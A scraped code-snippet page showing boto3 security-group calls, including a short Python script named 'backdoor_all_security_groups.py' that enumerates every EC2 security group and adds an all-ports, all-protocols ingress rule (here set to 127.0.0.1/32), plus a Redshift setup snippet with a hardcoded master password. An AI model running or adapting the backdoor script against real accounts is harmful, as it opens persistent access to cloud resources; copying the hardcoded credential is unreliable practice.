How to use authorize_cluster_security_group_ingress method in localstack

Best Python code snippet using localstack_python

RdsToRedshiftSqoopSample.py

Source:RdsToRedshiftSqoopSample.py Github

copy

Full Screen

...70 client = boto3.client('redshift')71 # create security group72 client.create_cluster_security_group(ClusterSecurityGroupName=self.redshift_security_group,73 Description='Security group for redshift for sqoop example')74 client.authorize_cluster_security_group_ingress(ClusterSecurityGroupName=self.redshift_security_group,75 EC2SecurityGroupName='elasticmapreduce-master',76 EC2SecurityGroupOwnerId=self.account_id)77 client.authorize_cluster_security_group_ingress(ClusterSecurityGroupName=self.redshift_security_group,78 EC2SecurityGroupName='elasticmapreduce-slave',79 EC2SecurityGroupOwnerId=self.account_id)80 # create cluster81 client.create_cluster(DBName='redshiftsqoop',82 ClusterIdentifier=self.redshift_id,83 ClusterType='single-node',84 NodeType='dc1.large',85 MasterUsername='dplcustomer',86 MasterUserPassword='Dplcustomer1',87 ClusterSecurityGroups=[88 self.redshift_security_group,89 ])90 # wait for cluster to be created91 waiter = client.get_waiter('cluster_available')...

Full Screen

Full Screen

backdoor_all_security_groups.py

Source:backdoor_all_security_groups.py Github

copy

Full Screen

1#!/usr/bin/env python2from __future__ import print_function3import boto34from botocore.exceptions import ClientError5import json6import random7# A list of rules to add at random to security groups.8BACKDOOR_RULES = [9 { 'FromPort': 0, 'ToPort': 65535, 'CidrIp': '127.0.0.1/32', 'IpProtocol': '-1'}10]11def main(args):12 backdoor_security_groups(get_security_groups())13 14def get_security_groups():15 client = boto3.client('ec2')16 response = None17 security_group_names = []18 marker = None19 20 response = client.describe_security_groups()21 for security_group in response['SecurityGroups']:22 security_group_names.append(security_group['GroupName'])23 24 return security_group_names25def backdoor_security_groups(security_group_names):26 for security_group_name in security_group_names:27 backdoor_security_group(security_group_name)28def backdoor_security_group(security_group_name):29 print(security_group_name)30 client = boto3.client('ec2')31 backdoor_rule = random.choice(BACKDOOR_RULES)32 try:33 response = client.authorize_security_group_ingress(34 GroupName=security_group_name,35 CidrIp=backdoor_rule['CidrIp'],36 FromPort=backdoor_rule['FromPort'],37 ToPort=backdoor_rule['ToPort'],38 IpProtocol=backdoor_rule['IpProtocol']39 )40 # If it is an old account, you may need to use:41 # authorize_db_security_group_ingress42 # authorize_cache_security_group_ingress43 # authorize_cluster_security_group_ingress44 except ClientError as e:45 print(" " + e.response['Error']['Message'])46if __name__ == '__main__':47 args = None...

Full Screen

Full Screen

Automation Testing Tutorials

Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.

LambdaTest Learning Hubs:

YouTube

You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.

Run localstack automation tests on LambdaTest cloud grid

Perform automation testing on 3000+ real desktop and mobile devices online.

Try LambdaTest Now !!

Get 100 minutes of automation test minutes FREE!!

Next-Gen App & Browser Testing Cloud

Was this article helpful?

Helpful

NotHelpful